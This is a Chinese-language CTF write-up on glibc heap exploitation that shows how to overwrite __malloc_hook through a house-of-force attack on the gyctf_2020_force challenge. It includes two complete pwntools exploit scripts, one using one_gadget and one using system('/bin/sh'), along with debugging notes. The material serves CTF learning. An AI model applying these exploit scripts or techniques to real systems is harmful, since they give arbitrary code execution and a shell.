pwn题堆利用的一些姿势 -- malloc_hook

malloc_hook

pwn题堆利用的一些姿势 – free_hook

概述

  在做堆题的时候,经常会遇到保护全开的情况,其中对利用者影响最大的是PIE保护和Full RELRO,NX保护和栈保护对堆利用来说影响都不大,一般利用也不会往这方面靠。开了PIE保护的话代码段的地址会变,需要泄露代码段基地址才能利用存储在bss段上的堆指针;开了Full RELRO的话,则意味着我们无法修改got表,导致无法修改其它函数got表指向system,进一步获取到shell。因此也就有了我这一系列文章的目的,在got表无法被修改时,我们往往利用的就是下面的一些hook+onegadget来达到我们的目的。主要分为以下几个系列:malloc_hook --> free_hook …待补充

初级必备姿势

  下面介绍入门必会的姿势 – malloc_hook,该函数是在malloc函数调用前会执行的钩子函数。在程序中,通常malloc_hook的函数地址对应值为0,也就是不会执行任何东西,我们在利用过程中将其覆盖为onegadget地址,这样再执行一次malloc就会执行onegadget。

gyctf_2020_force

  接下来以2020年gyctf的一道pwn题为例,该题目中给了明显的提示要我们使用house_of_force进行漏洞利用。对该利用方式不熟悉的读者可以参考我另外一篇博文,pwn题堆入门 – Large bin
  简单分析下题目,程序本身很简单,保护全开,main函数中给了两个功能,一个add,一个puts,然后puts本身也没啥用,无法泄露信息,所以这里只贴了add的代码。如下图所示,add函数实现堆分配,对malloc大小没有限制存在house_of_force利用。图中我高亮的地方也打印出来每次分配的堆地址,后面往堆写内容时也可以进行溢出,所以house_of_force的利用条件是满足的。
pwn题堆利用的一些姿势 -- malloc_hook
  利用思路:正如前面所说这里开启了Full RELRO,got表无法被改写,再加上题目本身也没有给泄露函数地址的机会,所以想到利用hook+onegadget合情合理。这里我们确定使用malloc_hook,malloc_hook在libc中,需要泄露libc地址,这里采用分配非常大的内存块方式来进行泄露,原理参考这里 --> pwn题堆入门 – Large bin。接着就是正常的house_of_force攻击了,下面直接给出wp。

from pwn import *

ld_path = "/home/fanxinli/libc-so/lib-23/x86_64-linux-gnu/ld-2.23.so"
libc_path = "/home/fanxinli/libc-so/libc-2.23-64.so"
p = process([ld_path, "./gyctf_2020_force"], env={"LD_PRELOAD":libc_path})


def add(size, content):
    p.recvuntil("2:puts\n")
    p.sendline("1")
    p.recvuntil("size\n")
    p.sendline(str(size))
    p.recvuntil("bin addr ")
    info = p.recvuntil("\n", drop=True)
    # print(info)
    info = int(info.decode("ISO-8859-1"), 16)
    p.recvuntil("content\n")
    p.send(content)
    return info

# context.log_level = "debug"
# leak base + Top chunk addr
base = add(0x200000, "aaaa") + 0x200ff0
print("base ==> ", hex(base))

pad = cyclic(0x10)+p64(0)+p64(0xffffffffffffffff)
chunk_a = add(0x10, pad)
top = chunk_a + 0x10
print("top chunk ==> ", hex(top))

# count hook + onegadget
libc = ELF("/home/fanxinli/libc-so/libc-2.23-64.so")
one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]

malloc_hook = base+libc.sym["__malloc_hook"]
print("malloc_hook ==> ", hex(malloc_hook))
one_gadget = base+one_gadget[1]
print("one_gadget ==> ", hex(one_gadget))

# attack
offset = malloc_hook-top-0x20
add(offset, "aaaa")
add(0x10, p64(one_gadget))
pause()

p.recvuntil("2:puts\n")
p.sendline("1")
p.recvuntil("size\n")
p.sendline(str(0x10))

p.interactive()

  这里贴出one_gadget的成功条件,以及再下两张图是gdb动态调试结果,结合程序打印结果,可以发现malloc_hook确实成功写入了one_gadget地址。我们再one_gadget处下断点,然后单步跟踪一下执行情况,毕竟one_gadget执行条件还不一定满足。
pwn题堆利用的一些姿势 -- malloc_hook
pwn题堆利用的一些姿势 -- malloc_hook
pwn题堆利用的一些姿势 -- malloc_hook
  这里one_gadget成功的条件是$rsp+0x30==NULL,不过可惜这里不是,所以无法成功获取到shell。接下来就是一一尝试剩余的one_gadget,看看能不能碰运气满足一次。
pwn题堆利用的一些姿势 -- malloc_hook

常规搭配姿势

  在上面初级姿势的尝试中,我们发现不是这么轻易的能够获取到shell,所以需要一些常规的搭配姿势来帮助我们。思路是这样的,将malloc_hook地址覆盖为system地址,然后在下一次malloc时将存储有"/bin/sh\x00"字符的内存地址传给malloc,这样我们就能实现system("/bin/sh\x00")调用获取到shell。下面直接看wp,注意对比注释和新增后的代码。

from pwn import *


ld_path = "/home/fanxinli/libc-so/lib-23/x86_64-linux-gnu/ld-2.23.so"
libc_path = "/home/fanxinli/libc-so/libc-2.23-64.so"
p = process([ld_path, "./gyctf_2020_force"], env={"LD_PRELOAD":libc_path})


def add(size, content):
    p.recvuntil("2:puts\n")
    p.sendline("1")
    p.recvuntil("size\n")
    p.sendline(str(size))
    p.recvuntil("bin addr ")
    info = p.recvuntil("\n", drop=True)
    # print(info)
    info = int(info.decode("ISO-8859-1"), 16)
    p.recvuntil("content\n")
    p.send(content)
    return info

# context.log_level = "debug"
# leak base + Top chunk addr
base = add(0x200000, "aaaa") + 0x200ff0
print("base ==> ", hex(base))

# here is bin_sh
pad = b"/bin/sh\x00"+p64(0)*2+p64(0xffffffffffffffff)
chunk_a = add(0x10, pad)
top = chunk_a + 0x10
print("top chunk ==> ", hex(top))

# count hook + onegadget
libc = ELF("/home/fanxinli/libc-so/libc-2.23-64.so")
# one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]

malloc_hook = base+libc.sym["__malloc_hook"]
print("malloc_hook ==> ", hex(malloc_hook))
# one_gadget = base+one_gadget[1]
# print("one_gadget ==> ", hex(one_gadget))
sys = base+libc.sym["system"]
print("system ==> ", hex(sys))

# attack
offset = malloc_hook-top-0x20
add(offset, "aaaa")
# add(0x10, p64(one_gadget))
add(0x10, p64(sys))
pause()

p.recvuntil("2:puts\n")
p.sendline("1")
p.recvuntil("size\n")
# p.sendline(str(0x10))
p.sendline(str(chunk_a))

p.interactive()

  如下图所示,是gdb动态调试的结果,可以看到malloc_hook处被成功覆盖为system函数地址,这里和上面的操作一样在system处打下断点,可以逐步分析system的执行情况,最终可以成功执行获取到shell。
pwn题堆利用的一些姿势 -- malloc_hook
pwn题堆利用的一些姿势 -- malloc_hook
pwn题堆利用的一些姿势 -- malloc_hook

按需进阶姿势

总结

不忘初心,砥砺前行!

上一篇:设计模式——策略模式


下一篇:C++中new与malloc的区别